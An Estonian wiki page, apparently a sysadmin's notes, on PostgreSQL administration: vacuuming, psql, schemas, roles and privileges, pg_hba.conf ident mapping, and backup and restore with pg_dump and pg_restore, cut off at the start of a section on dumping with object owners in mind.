Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
